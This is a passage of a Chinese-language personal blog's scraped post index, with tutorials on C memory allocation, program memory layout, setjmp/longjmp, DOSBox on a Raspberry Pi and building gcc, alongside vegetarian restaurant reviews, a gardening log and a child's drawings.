memory\\n\u0026#34;); return 1; } // 使用動態取得的記憶體空間 int i, j; for (i = 0; i \u0026lt; arrLen1; ++i) { for (j = 0; j \u0026lt; arrLen2; ++j) { int index = i * arrLen2 + j; dynArr[index] = index; printf(\u0026#34;%d \u0026#34;, dynArr[index]); } } // 釋放記憶體空間 free(dynArr); return 0; } 這種作法其實跟一維陣列的記憶體配置方式類似，只是在配置記憶體時取得二維陣列所需的空間，然後將二維陣列的兩個索引（i 與 j）自己轉換成一維的索引（index），這樣就可以按照一維的方式來使用動態配置的記憶體，這種實作方式在 C 語言的程式中很常見。\n初始化陣列記憶體配置 記憶體在剛配置好時，裡面所儲存的資料都是沒有用的東西（亂七八糟，每次執行程式都有可能不同），一定要在資料儲存進去之後，才能把裡面的資料拿來使用，而記憶體第一次被指定值的動作就稱為初始化（initialize）。\n初始化陣列記憶體的方法有好幾種，以下是常見的做法。\ncalloc 函數 除了使用 malloc 之外，也可以使用 calloc 配置初始化的陣列記憶體，這兩個函數用法大同小異，只是參數的指定方式不同，以及有無初始化而已，以下是兩種函數寫法的比較。\n// 未初始化的一維陣列 dynArr = malloc( arrLen * sizeof(int) ); // 已初始化的一維陣列 dynArr = calloc( arrLen, sizeof(int) ); // 未初始化的二維陣列 dynArr = malloc( arrLen1 * arrLen2 * sizeof(int) ); // 已初始化的二維陣列 dynArr = calloc( arrLen1 * arrLen2, sizeof(int) ); 透過 calloc 所取得的記憶體空間，其值會被自動初始化為 0 或 NULL，在釋放記憶體時跟 malloc 一樣都是呼叫 free 函數並傳入指向記憶體的指標。以下是一個範例：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; int main() { int *dynArr; int arrLen = 10; // 配置記憶體，並初始化 dynArr = calloc( arrLen, sizeof(int) ); if( dynArr == NULL ) { fprintf(stderr, \u0026#34;Error: unable to allocate required memory\\n\u0026#34;); return 1; } int i; for (i = 0; i \u0026lt; arrLen; ++i) { printf(\u0026#34;%d \u0026#34;, dynArr[i]); } free(dynArr); return 0; } 這個程式執行的的輸出為：\ngcc source.c ./a.out 0 0 0 0 0 0 0 0 0 0 memset 函數 另外一種初始化的方式是使用 memset 函數：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; int main() { int *dynArr; int arrLen = 10; // 配置未初始化的記憶體空間 dynArr = malloc( arrLen * sizeof(int) ); if( dynArr == NULL ) { fprintf(stderr, \u0026#34;Error: unable to allocate required memory\\n\u0026#34;); return 1; } // 將記憶體初始化為 0 memset(dynArr, 0, arrLen * sizeof(int)); int i; for (i = 0; i \u0026lt; arrLen; ++i) { printf(\u0026#34;%d \u0026#34;, dynArr[i]); } free(dynArr); return 0; } memset 函數的第一個參數是指向記憶體的指標，第二個參數是一個常數值，在初始化時會將此常數轉換為 unsigned char 型別，指定給記憶體中的每一個位元組，而第三個參數則是記憶體空間的大小。這個程式執行的的輸出為：\ngcc source.c ./a.out 0 0 0 0 0 0 0 0 0 0 改變配置的記憶體空間大小 如果在使用動態配置的記憶體空間時，突然發現空間不足，需要再擴充，或是配置的空間太大，需要釋放掉一些時，可以使用 realloc 函數來處理。以下是簡單的範例：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; int main() { int *dynArr; int arrLen = 10; // 取得記憶體空間 dynArr = malloc( arrLen * sizeof(int) ); if( dynArr == NULL ) { fprintf(stderr, \u0026#34;Error: unable to allocate required memory\\n\u0026#34;); return 1; } // 擴充記憶體空間 arrLen = 20; dynArr = realloc( dynArr, arrLen * sizeof(int) ); // 確認有正常取得調整後的空間 if( dynArr == NULL ) { fprintf(stderr, \u0026#34;Error: unable to allocate required memory\\n\u0026#34;); return 1; } // 使用動態取得的記憶體空間 int i; for (i = 0; i \u0026lt; arrLen; ++i) { dynArr[i] = i; printf(\u0026#34;%d \u0026#34;, dynArr[i]); } // 縮減記憶體空間 arrLen = 5; dynArr = realloc( dynArr, arrLen * sizeof(int) ); // 確認有正常取得調整後的空間 if( dynArr == NULL ) { fprintf(stderr, \u0026#34;Error: unable to allocate required memory\\n\u0026#34;); return 1; } // 使用動態取得的記憶體空間 for (i = 0; i \u0026lt; arrLen; ++i) { dynArr[i] = i; printf(\u0026#34;%d \u0026#34;, dynArr[i]); } free(dynArr); return 0; } realloc 可以用來擴充或是縮減已經配置好的記憶體空間，第一個參數是之前配置的記憶體空間指標，而第二個參數則是新的空間大小。\n在擴充記憶體空間時會從後方新增更多的空間，原本空間中所儲存的資料會被保留，而後方新增的空間則是會處於未初始化的狀態；縮減記憶體空間時，同樣也是從空間後方開始縮減，前段未被縮減餓空間中所儲存的資料也會被保留。\n擴充記憶體空間通常是很耗時的動作，因為如果已配置的記憶體空間在擴充時，其後方沒有足夠的剩餘記憶體空間，系統就會在另外一個地方再找一塊足夠大小的記憶體空間，然後把整塊記憶體的資料都搬過去，所以比較好的記憶體配置方式是一次給足，減少記憶體資料搬家的發生頻率。\n在使用 realloc 調整記憶體空間大小時，如果直接將空間大小調整為 0，則其效果就等同於 free 函數釋放整塊記憶體空間：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; int main() { int *ptr = (int*) malloc(16); // 釋放記憶體，等同於 free(ptr) realloc(ptr, 0); return 0; } 參考資料 GeeksforGeeks Programiz tutorialspoint ","permalink":"https://blog.gtwang.org/programming/c-memory-functions-malloc-free/","summary":"\u003cp\u003e本文將介紹與 C 語言動態記憶體配置有關的各種函數及其使用方式，包含 \u003ccode\u003emalloc\u003c/code\u003e、\u003ccode\u003ecalloc\u003c/code\u003e、\u003ccode\u003efree\u003c/code\u003e 與 \u003ccode\u003erealloc\u003c/code\u003e 函數。\u003c/p\u003e\n\u003cp\u003eC 語言的動態記憶體配置可以讓程式在需要使用到大量的記憶體時，動態的取得更多的記憶體空間，在使用完之後也可以將不再需要使用的記憶體釋出，也就是說它可以讓程式設計者自行管理記憶體的使用。\u003c/p\u003e","title":"C 語言動態記憶體配置教學：malloc、free 等函數"},{"content":"愿心燒是一家全素的章魚燒夜市小吃攤，時常在中南部的各大夜市設攤，口味清爽不膩。\n愿心燒的擺攤地點不固定，大概都在中南部的夜市，而新營的新進夜市就是他常出現的地點之一，我剛好最近比較有時間，就來吃吃看順道拍個照。\n新營的新進夜市就在新進路上，海口餐廳的斜對面，接近傍晚時就會有許多攤販來這裡設攤。\n愿心燒的攤位是紅色的，掛著大大的素食兩個字，非常好認。\n今天我們來的時候比較早，剛好是晚餐時間，許多攤販都還沒來，不過愿心燒這一攤已經好多人在排隊了。\n愿心燒是全素的章魚燒料理，不含奶蛋，吃全素的人可以放心吃。\n這是愿心燒的價目表。\n這是愿心燒的各種口味。\n在排隊的時候，大家都在看老闆烤素食的章魚燒，很有意思。\n老闆手腳很俐落，三兩下就做好一盤。\n阿玄第一次看人家做素食章魚燒，很好奇的樣子。\n阿玄拿到期待已久的素食章魚燒。\n這是海苔口味的愿心燒。\n這一盒是綜合口味的愿心燒。\n今天原本想要買三盒，不過因為要拍照，買太多盒的話怕會手忙腳亂，所以只點了兩盒，總共有 12 顆，結果拿回家之後，阿玄一個人就吃掉 7 顆，我只吃到 2 顆。\n店名：愿心燒\n地址：不固定，常見地點有新營新進夜市、斗六成功夜市、虎尾觀光夜市、嘉義大林夜市、新營中華路夜市、西螺夜巿、葫蘆墩觀光夜市、鹽水夜市等\n營業時間：晚上\n網站：facebook 粉絲專頁\n備註：營業地點不固定，詳情請見 facebook 粉絲專頁\n","permalink":"https://blog.gtwang.org/life/yuan-xin-shao-vegetarian-takoyaki-sinying-tainan/","summary":"\u003cp\u003e愿心燒是一家全素的章魚燒夜市小吃攤，時常在中南部的各大夜市設攤，口味清爽不膩。\u003c/p\u003e\n\u003cp\u003e愿心燒的擺攤地點不固定，大概都在中南部的夜市，而新營的新進夜市就是他常出現的地點之一，我剛好最近比較有時間，就來吃吃看順道拍個照。\u003c/p\u003e","title":"[台南新營素食] 愿心燒：全素的章魚燒，中南部夜市美食"},{"content":"本篇是我今年用扦插的方式繁殖艾草的記錄。\n艾草的功用非常多，而在台灣到處都可以買的到，如果不想花錢買，自己繁殖也非常容易，這裡紀錄我今年繁殖艾草的過程。\n植物的扦插繁殖成功率會跟節氣有關，最好的時間就是在每年的「元宵節」到「清明節」之間，在這段時間來進行插枝會比較容易成功。\n首先把艾草的枝條剪下來，修掉大部分的葉子，留下主要的枝幹，插在可以裝水的容器中。\n加入一些水，讓艾草泡在水裡生根。\n放在陰涼處一段時間，等待艾草枝條長出根來。\n幾天之後，艾草枝條底部有泡到水的部分就會生出新的根。\n接著就可以準備將艾草枝條種在土讓中了。\n把土挖開，將生根的艾草枝條埋入，小心不要把根弄斷了。\n這樣就大功告成了。\n過了大約兩週之後，就長出很多葉子了。\n","permalink":"https://blog.gtwang.org/agriculture/artemisias-cutting-propagation-201703/","summary":"\u003cp\u003e本篇是我今年用扦插的方式繁殖艾草的記錄。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/children/artemisias/\"\u003e艾草的功用\u003c/a\u003e非常多，而在台灣到處都可以買的到，如果不想花錢買，自己繁殖也非常容易，這裡紀錄我今年繁殖艾草的過程。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e植物的扦插繁殖成功率會跟節氣有關，最好的時間就是在每年的「元宵節」到「清明節」之間，在這段時間來進行插枝會比較容易成功。\u003c/p\u003e","title":"艾草扦插繁殖記錄（插條、插枝）"},{"content":"同德素食是台南新營的一家傳統素食店，有素蚵仔煎、蛋包飯、鍋燒意麵、滷味等，價格便宜、口味道地。\n這家同德素食在民治路的巷子裡，很靠近民治路的寶雅，但因為不在大馬路旁，所以比較少人會注意到這一家素食店，我們也是因為認識的在地朋友介紹才知道，原來這裡有一家很好吃的素食店。\n這是同德素食的店門口，許多人都會來這裡外帶餐點。\n這裡的餐點種類還不少，有各類的飯、麵、湯，還有各式滷味小菜。\n這是我下午接近五點來的時候，還沒有出現太多的人潮。\n這裡的滷味擺的滿滿的，看起來就是很好吃的樣子。\n這是店內的菜單，大部分的餐點價格都非常便宜，在新營這邊像這麼低價格的素食店不多。\n這是這裡非常有特色的素食蚵仔煎，非常好吃。\n新營這邊目前有在賣素食蚵仔煎的店家只有兩家，除了這家同德素食之外，還有藝素燴館，而我個人是比較喜歡同德素食這一家的素食蚵仔煎（每個人的喜好不同，僅供參考）。\n這是蚵仔煎的內餡。\n這裡的蛋包飯也是很有特色的餐點，裡面包的是炒飯，我們家阿玄很愛吃。\n這是麵羹，味道不錯。\n道地的麻醬麵。\n這一碗是紅燒麵。\n自己夾的滷味小菜。\n這一鍋是傳統的鍋燒意麵。\n也有用炒的鍋燒意麵，味道也很不錯。\n這一碗是紫菜湯，裡面滿滿都是紫菜，料多又實在。\n如果想吃家常菜的人，這裡也有一些自助式的菜，自己夾好再給老闆算錢即可。\n這是我們點的一桌餐點，因為這裡的餐點價格都比較低一些，所以差不多的餐點整桌點下來，都比其他家素食店便宜很多。\n這是老闆在製作素食蚵仔煎過程，因為很好奇素食蚵仔煎是怎麼做的，所以特別把它拍下來。\n先煎蛋，放上蔬菜與素食蚵仔。\n淋上粉漿。\n翻面再煎一下。\n起鍋後，再淋上沾醬就完成了。\n這是製作蛋包飯的畫面。\n以下是幾張阿玄在店裡用餐的照片。這是阿玄在吃蛋包飯的樣子。\n阿玄也喜歡吃鍋燒意麵。\n這是牆上掛的兩幅心經與大悲咒。\n同德素食週六、週日都有營業，週一固定休息，假日若要找素食店的話，推薦大家來這裡。\n店名：同德素食\n地址：台南市新營區民治路 300 巷 18 號\n網站：facebook 粉絲專頁\n同德素食就在民治路的匯豐汽車與啄木鳥藥局中間的巷子裡。\n同德素食門口有很明顯的綠色大招牌，很好找。\n","permalink":"https://blog.gtwang.org/life/tongde-vegetarian-restaurant-sinying-tainan/","summary":"\u003cp\u003e同德素食是台南新營的一家傳統素食店，有素蚵仔煎、蛋包飯、鍋燒意麵、滷味等，價格便宜、口味道地。\u003c/p\u003e\n\u003cp\u003e這家同德素食在民治路的巷子裡，很靠近民治路的寶雅，但因為不在大馬路旁，所以比較少人會注意到這一家素食店，我們也是因為認識的在地朋友介紹才知道，原來這裡有一家很好吃的素食店。\u003c/p\u003e","title":"[台南新營素食] 同德素食：素蚵仔煎、蛋包飯、鍋燒意麵、便當、滷味"},{"content":"這禮拜去佳湘麵包買了幾個麵包與蛋糕，阿玄看到塑膠袋上面的小企鵝，就照著畫了幾張圖畫。\n這是佳湘麵包塑膠袋。\n以下是阿玄看著塑膠袋徒手畫的圖畫。\n因為禮拜六代阿玄去玩飛盤，所以畫了一張玩飛盤的圖畫。\n阿玄說這隻企鵝在顧店，客人來的時候就把這個大蛋糕分給客人吃。\n這是 3 月 11 號去畫畫老師那邊畫的。\n這是阿玄自己畫的點心。\n這是阿玄設計的封面。\n這是 3 月 18 號去畫畫老師那邊畫的。\n","permalink":"https://blog.gtwang.org/personal/qixuan-drawing-20170305/","summary":"\u003cp\u003e這禮拜去佳湘麵包買了幾個麵包與蛋糕，阿玄看到塑膠袋上面的小企鵝，就照著畫了幾張圖畫。\u003c/p\u003e\n\u003cp\u003e這是佳湘麵包塑膠袋。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"佳湘麵包塑膠袋\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20170305/qixuan-drawing-20170305-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e以下是阿玄看著塑膠袋徒手畫的圖畫。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄的塗鴉畫\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20170305/qixuan-drawing-20170305-2.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄的塗鴉畫\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20170305/qixuan-drawing-20170305-3.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e因為禮拜六代阿玄去玩飛盤，所以畫了一張玩飛盤的圖畫。\u003c/p\u003e","title":"阿玄的塗鴉畫 2017 年 3 月"},{"content":"本篇介紹 C 語言程式的記憶體配置概念，並以實際的範例程式碼來說明。\n在使用 C 語言開發比較低階的程式之前，多少都要了解一下程式實際在執行時的記憶體配置情況，以下我們以最簡單的實際範例來說明。\nC 語言程式記憶體配置概念 下圖為典型的 C 語言程式在執行時的記憶體配置圖，記憶體的使用主要可分為 text、data、bss、stack、heap 與 system 這幾個部分。\nC 語言程式記憶體配置（LibreOffice 原始檔）\n以下是各個區塊的說明。\ntext：程式碼 文字區段（text segment）也稱為程式碼區段（code segment），這裡存放的是可執行的 CPU 指令（instructions）。\n這個區段通常位於 heap 或 stack 之後，避免因 heap 或 stack 溢位而覆寫 CPU 指令。\n通常文字區段的資料是可以共用的，當多個同樣的程式在執行時，在記憶體中只需要存有一份就夠了，而這個文字區段通常都是唯讀的，避免程式本身誤改了自己的 CPU 指令。\ndata：初始化靜態變數 初始化資料區段（initialized data segment）儲存的是一些已經初始化的靜態變數，例如有經過初始化的 C 語言的全域變數（global variables）以及靜態變數（static variables）都是儲存於此處。\n這個區段的變數又可分為唯讀區域（read-only area）以及可讀寫區域（read-write area），可讀寫區域用於存放一般變數，其資料會隨著程式的執行而改變，而唯讀區域則是存放固定的常數。\nbss：未初始化靜態變數 未初始化資料區段（uninitialized data segment）又稱為 bss 區段（這個名稱的起源來自於古老的組譯器，代表 block started by symbol）是儲存尚未被初始化的靜態變數，而這些變數在程式執行之前會被系統初始化為 0 或是 null。\nstack：區域變數 堆疊區段（stack segment）用於儲存函數的區域變數，以及各種函數呼叫時需要儲存的資訊（例如函數返回的記憶體位址還有呼叫者函數的狀態等），每一次的函數呼叫就會在堆疊區段建立一個 stack frame，儲存該次呼叫的所有變數與狀態，這樣一來同一個函數重複被呼叫時就會有不同的 stack frame，不會互相干擾，遞迴函數就是透過這樣的機制來執行的。\nheap：動態配置變數 heap 區段的記憶體空間用於儲存動態配置的變數，例如 C 語言的 malloc 以及 C++ 的 new 所建立的變數都是儲存於此。\n堆疊區段一般的狀況會從高記憶體位址往低記憶體位址成長，而 heap 剛好從對面以相反的方向成長。\nsystem：命令列參數與環境變數 system 區段用於儲存一些命令列參數與環境變數，這部分會跟系統有關。\n實際範例 這是一個最簡單的 C 語言程式：\n#include \u0026lt;stdio.h\u0026gt; int main() { return 0; } 編譯之後，可使用 size 查看它的內部記憶體配置：\ngcc source.c size a.out text\tdata\tbss\tdec\thex\tfilename 1099\t544\t8\t1651\t673\ta.out 新增一個未初始化的全域靜態變數：\n#include \u0026lt;stdio.h\u0026gt; double global[30]; // 儲存於 bss 的未初始化靜態變數 int main() { return 0; } 查看內部記憶體配置：\ngcc source.c size a.out text\tdata\tbss\tdec\thex\tfilename 1099\t544\t272\t1915\t77b\ta.out 這一個未被初始化的陣列被放在 bss 區段。\n接著增加一個已初始化的靜態變數：\n#include \u0026lt;stdio.h\u0026gt; int main() { // 儲存於 data 的已初始化靜態變數 static int x[5] = {1, 2, 3, 4, 5}; return 0; } 查看內部記憶體配置：\ngcc source.c size a.out text\tdata\tbss\tdec\thex\tfilename 1099\t564\t4\t1667\t683\ta.out 有初始化的靜態變數或全域變數都會被放進 data 區段中。\n儲存於 stack 與 heap 的變數在這裡看不到，以下是儲存於各種區段的變數：\n#include \u0026lt;stdio.h\u0026gt; const int global_x = 1; // 儲存於 data 區段（唯讀區域） int global_y = 1; // 儲存於 data 區段（可讀寫區域） int global_z; // 儲存於 bss 區段 int main() { const static int x = 1; // 儲存於 data 區段（唯讀區域） static int y = 1; // 儲存於 data 區段（可讀寫區域） static int z; // 儲存於 bss 區段 int w = 1; // 儲存於 stack 區段 // 儲存於 heap 區段 char *buf = (char*) malloc(sizeof(char) * 100); // ... free(buf); return 0; } 參考資料 Randal E. Bryant and David R. O\u0026rsquo;Hallaron. 2010. Computer Systems: A Programmer\u0026rsquo;s Perspective (2nd ed.). Addison-Wesley Publishing Company, USA. W. Richard Stevens and Stephen A. Rago. 2013. Advanced Programming in the UNIX Environment (3rd ed.). Addison-Wesley Professional GeeksforGeeks hackerearth cs-Fundamentals.com Codingfreak ","permalink":"https://blog.gtwang.org/programming/memory-layout-of-c-program/","summary":"\u003cp\u003e本篇介紹 C 語言程式的記憶體配置概念，並以實際的範例程式碼來說明。\u003c/p\u003e\n\u003cp\u003e在使用 C 語言開發比較低階的程式之前，多少都要了解一下程式實際在執行時的記憶體配置情況，以下我們以最簡單的實際範例來說明。\u003c/p\u003e","title":"C 語言程式的記憶體配置概念教學"},{"content":"這裡介紹如何在樹莓派中安裝 DOS 模擬器，玩 DOS 時代的經典遊戲。\n大概將近二十年前我還在小學的階段，剛接觸電腦時還只有 DOS 系統可用，彩色 CRT 螢幕那時候才剛推出、尚未普及，大部分的人甚至都還在使用單色螢幕，不過那個時代的 DOS 遊戲就已經很多樣化了，許多遊戲一直到現在都還是非常經典。\n以下是在樹莓派的 Linux 環境中安裝 DOS 模擬器，執行 DOS 遊戲的步驟教學。\n更新系統套件庫，順便升級一下已安裝的系統套件：\nsudo apt-get update sudo apt-get upgrade 安裝 dosbox 套件：\nsudo apt-get install dosbox 從 abandonia 網站上搜尋並下載 DOS 遊戲，或是從 Google 上直接找也可以。\n這裡我拿我小學剛接觸電腦時，最常玩的泡泡龍遊戲作為示範。\n將 DOS 遊戲下載並解壓縮之後，放進統一的目錄中，方便整理：\nmkdir ~/dos-games unzip bubble-bobble.zip mv Bubble Bobble/ ~/dos-games/ 執行 dosbox：\ndosbox 執行 dosbox 之後，就會出現一個 DOS 模擬環境。\n接下來在這個 DOS 環境中，將放置 DOS 遊戲的目錄掛載上來：\nmount c ~/dos-games/ 這樣就會將 ~/dos-games/ 掛載至 c 槽，接著切換至 c 槽，並進入遊戲的目錄：\nc: cd BUBBLE~1 執行遊戲：\nBUBBLE 這是泡泡龍的遊戲畫面。\n若要玩其他的 DOS 遊戲，下載與執行的方法也都類似。這是瑪莉歐的遊戲畫面。\nMega Man X（洛克人 X）遊戲畫面。\n這是最早的金庸群俠傳 PC 版。\n如果要強制離開 DOSBox 環境，可以按下 Ctrl + F9 快速鍵，其他的按鍵介紹，可以在 DOS 環境下執行 intro 與 help 指令查看說明。\n參考資料 PiMyLifeUp ","permalink":"https://blog.gtwang.org/iot/raspberry-pi/raspberry-pi-install-dosbox-play-dos-classic-games/","summary":"\u003cp\u003e這裡介紹如何在樹莓派中安裝 DOS 模擬器，玩 DOS 時代的經典遊戲。\u003c/p\u003e\n\u003cp\u003e大概將近二十年前我還在小學的階段，剛接觸電腦時還只有 DOS 系統可用，彩色 CRT 螢幕那時候才剛推出、尚未普及，大部分的人甚至都還在使用單色螢幕，不過那個時代的 DOS 遊戲就已經很多樣化了，許多遊戲一直到現在都還是非常經典。\u003c/p\u003e","title":"樹莓派 Raspberry Pi 使用 DOSBox 模擬器玩 DOS 經典遊戲"},{"content":"這是 АЛЁНА C++ 所創作的一張有趣的 C++ 地圖，上面標示了各種 C++ 程式語言的標準與語法，雖然不是相當精準，不過看起來非常有趣。\n這張圖原始檔解析度是 3840×2555，可從 АЛЁНА C++ 的網站上下載，可用於非營利的用途。\n","permalink":"https://blog.gtwang.org/funny/interesting-cpp-map-2017/","summary":"\u003cp\u003e這是 \u003ca href=\"https://alenacpp.blogspot.com/2017/02/17.html\"\u003eАЛЁНА C++\u003c/a\u003e 所創作的一張有趣的 C++ 地圖，上面標示了各種 C++ 程式語言的標準與語法，雖然不是相當精準，不過看起來非常有趣。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"C++ 地圖（2017 年版本）\" loading=\"lazy\" src=\"/funny/interesting-cpp-map-2017/cppmap-20170227-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e這張圖原始檔解析度是 3840×2555，可從 \u003ca href=\"https://alenacpp.blogspot.com/2017/02/17.html\"\u003eАЛЁНА C++\u003c/a\u003e 的網站上下載，可用於非營利的用途。\u003c/p\u003e","title":"有趣的 C++ 地圖（2017 年版本）"},{"content":"這裡介紹 C 語言的 setjmp 與 longjmp 函數的用法，還有典型的使用範例。\n在 C 語言中的 goto 只能跳到函數內部的 label 位置，若要跳到其他函數中則必須使用 setjmp 與 longjmp，這兩個函數在深層的程式錯誤處理上非常好用。\n以下是一段簡單的 C 語言程式碼：\n#include \u0026lt;stdio.h\u0026gt; int fun_a(int v) { int r = v * 2 - 1; return r; } int fun_b(int v) { int r = fun_a(v) + 6; return r; } int fun_c(int v) { int r = fun_b(v) * 5 - 21; return r; } int main() { int x = 5; int result = fun_c(x); printf(\u0026#34;Result = %dn\u0026#34;, result); return ; } 這個程式在執行時首先會呼叫 fun_c 函數，而在 fun_c 函數中又呼叫了 fun_b 函數，以此類推最後呼叫到 fun_a 函數，形成了一個比較深層的函數呼叫堆疊（call stack），一般來說，函數呼叫堆疊結構通常是這樣：\n每個函數的區域變數存在於自己的 stack frame 當中，在這樣的程式呼叫結構中，如果在比較深層的函數裡需要處理錯誤的狀況時，就會比較麻煩，例如在 fun_a 函數中若出現錯誤，我們可能會需要中止之前一連串的呼叫動作，回到 main 中繼續其他動作，如果按照一般的作法，我們會需要定義每個函數的錯誤傳回值，逐層檢查與處理，動作相當繁雜。\nsetjmp 與 longjmp 函數可以讓程式往回跳到函數呼叫堆疊中的某個函數中，就像是一種跨函數的 goto。\n首先使用 setjmp 在程式中標示一個目標位置（跳躍的目的地），然後在程式要進行跳躍的地方呼叫 longjmp 即可。\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;setjmp.h\u0026gt; // 儲存程式跳躍時所需之資訊 jmp_buf jmpbuffer; int fun_a(int v) { int r = v * 2 - 1; if (r \u0026lt; ) { // 跳躍至 main 函數 longjmp(jmpbuffer, 1); } return r; } int fun_b(int v) { int r = fun_a(v) + 6; if (r \u0026gt; 10) { // 跳躍至 main 函數 longjmp(jmpbuffer, 2); } return r; } int fun_c(int v) { int r = fun_b(v) * 5 - 21; return r; } int main() { // 設定跳躍目標位置 int jmpVal = setjmp(jmpbuffer); if ( jmpVal == 1 ) { printf(\u0026#34;fun_a errorn\u0026#34;); } else if ( jmpVal == 2 ) { printf(\u0026#34;fun_b errorn\u0026#34;); } else { // jmpVal == int x = -5; int result = fun_c(x); printf(\u0026#34;Result = %dn\u0026#34;, result); } return ; } 在 setjmp 設定跳躍目標位置時，會需要指定一個特殊的 jmp_buf 變數，用來儲存程式跳躍時所需之資訊，而在直接呼叫 setjmp 函數時其傳回值為 0，若是透過 longjmp 跳回這裡時，其傳回值就會是呼叫 longjmp 時所指定的值，程式設計者可以靠著這個傳回值來判斷並處理不同的錯誤情形。\n用 setjmp 設定好目標位置之後，接著在深層的函數呼叫中出現錯誤並呼叫 longjmp 時，傳入同一個 jmp_buf 變數，並加上一個整數傳回值，這樣程式就會跳到當初設定的目標位置繼續執行，而 setjmp 的傳回值就會是 longjmp 所指定的整數值。\n當程式透過 longjmp 返回 main 函數之後，main 之後的函數呼叫堆疊會自動被清空，並從 setjmp 的位置開始執行，就跟程式一開始的狀態類似，只不過 setjmp 的傳回值不同。\n程式跳躍後的變數 當呼叫 longjmp 之後，程式返回至 main 函數中，而函數呼叫堆疊也跟著回復至原來的樣子，不過接下來的問題就是 main 函數中的變數值會不會也跟著回復原來的值？\n以下是一段測試各種不同變數類型的程式碼：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;setjmp.h\u0026gt; jmp_buf jmpbuffer; static int g; // global void f1() { longjmp(jmpbuffer, 1); } void f2(int l, int g, int r, int v, int s) { printf(\u0026#34;local = %d, global = %d, register = %d, \u0026#34; \u0026#34;volatile = %d, static = %dn\u0026#34;, l, g, r, v, s); f1(); } int main() { int l; // local register int r; // register volatile int v; // volatile static int s; // static l = 1, g = 2, r = 3, v = 4, s = 5; if ( setjmp(jmpbuffer) != ) { printf(\u0026#34;local = %d, global = %d, register = %d, \u0026#34; \u0026#34;volatile = %d, static = %dn\u0026#34;, l, g, r, v, s); return ; } l = 101, g = 102, r = 103, v = 104, s = 105; f2(l, g, r, v, s); return ; } 同樣的程式在編譯時使用不同的參數會造成不同的結果：\n# 編譯 gcc source.c # 執行 ./a.out local = 101, global = 102, register = 103, volatile = 104, static = 105 local = 101, global = 102, register = 3, volatile = 104, static = 105 # 編譯 gcc -O source.c # 執行 ./a.out local = 101, global = 102, register = 103, volatile = 104, static = 105 local = 1, global = 102, register = 3, volatile = 104, static = 105 加入 -O 讓編譯器進行基本的最佳化之後，global、volatile 與 static 三種變數還是維持其最後所指定的值，而 register 變數則始終都會自動回復原來的值，但 local 變數的值卻改變了。\n使用 setjmp 與 longjmp 轉跳時，位於記憶體中的變數會維持其最後的值，而位於 CPU 或浮點數 registers 中的變數則會回復至原來的值，在上面的例子中，local 變數原本位於記憶體中，經過最佳化之後，被放置在 register 中，所以產生了不同的結果。\n根據 gcc 的說明文件，在呼叫 longjmp 進轉跳之後，除了 volatile 變數之外，其他的變數都有可能產生不可預期的結果，所以若需要撰寫一個可移植（portable）的程式，請將變數宣告為 volatile。\n","permalink":"https://blog.gtwang.org/programming/c-setjmp-longjmp-function-tutorial/","summary":"\u003cp\u003e這裡介紹 C 語言的 \u003ccode\u003esetjmp\u003c/code\u003e 與 \u003ccode\u003elongjmp\u003c/code\u003e 函數的用法，還有典型的使用範例。\u003c/p\u003e\n\u003cp\u003e在 C 語言中的 \u003ccode\u003egoto\u003c/code\u003e 只能跳到函數內部的 label 位置，若要跳到其他函數中則必須使用 \u003ccode\u003esetjmp\u003c/code\u003e 與 \u003ccode\u003elongjmp\u003c/code\u003e，這兩個函數在深層的程式錯誤處理上非常好用。\u003c/p\u003e","title":"C 語言 setjmp 與 longjmp 函數用法教學"},{"content":"這裡介紹在 CentOS Linux 7 之下自己載 gcc 6 編譯器原始碼、編譯與安裝的過程。\ngcc 是 Linux 系統上最常被使用的編譯器，而 CentOS Linux 7.2 中的 gcc 版本比較舊：\ngcc -v Using built-in specs. COLLECT_GCC=gcc COLLECT_LTO_WRAPPER=/usr/libexec/gcc/x86_64-redhat-linux/4.8.5/lto-wrapper Target: x86_64-redhat-linux Configured with: ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-bootstrap --enable-shared --enable-threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-gnu-unique-object --enable-linker-build-id --with-linker-hash-style=gnu --enable-languages=c,c++,objc,obj-c++,java,fortran,ada,go,lto --enable-plugin --enable-initfini-array --disable-libgcj --with-isl=/builddir/build/BUILD/gcc-4.8.5-20150702/obj-x86_64-redhat-linux/isl-install --with-cloog=/builddir/build/BUILD/gcc-4.8.5-20150702/obj-x86_64-redhat-linux/cloog-install --enable-gnu-indirect-function --with-tune=generic --with-arch_32=x86-64 --build=x86_64-redhat-linux Thread model: posix gcc version 4.8.5 20150623 (Red Hat 4.8.5-4) (GCC) 如果想要使用比較新的功能，就會有問題。以下是自己下載 gcc 6.3.0 原始碼來編譯與安裝的過程。\n安裝編譯 gcc 所需要的函式庫：\nsudo yum install libmpc-devel mpfr-devel gmp-devel gcc 的原始碼可以從 GCC 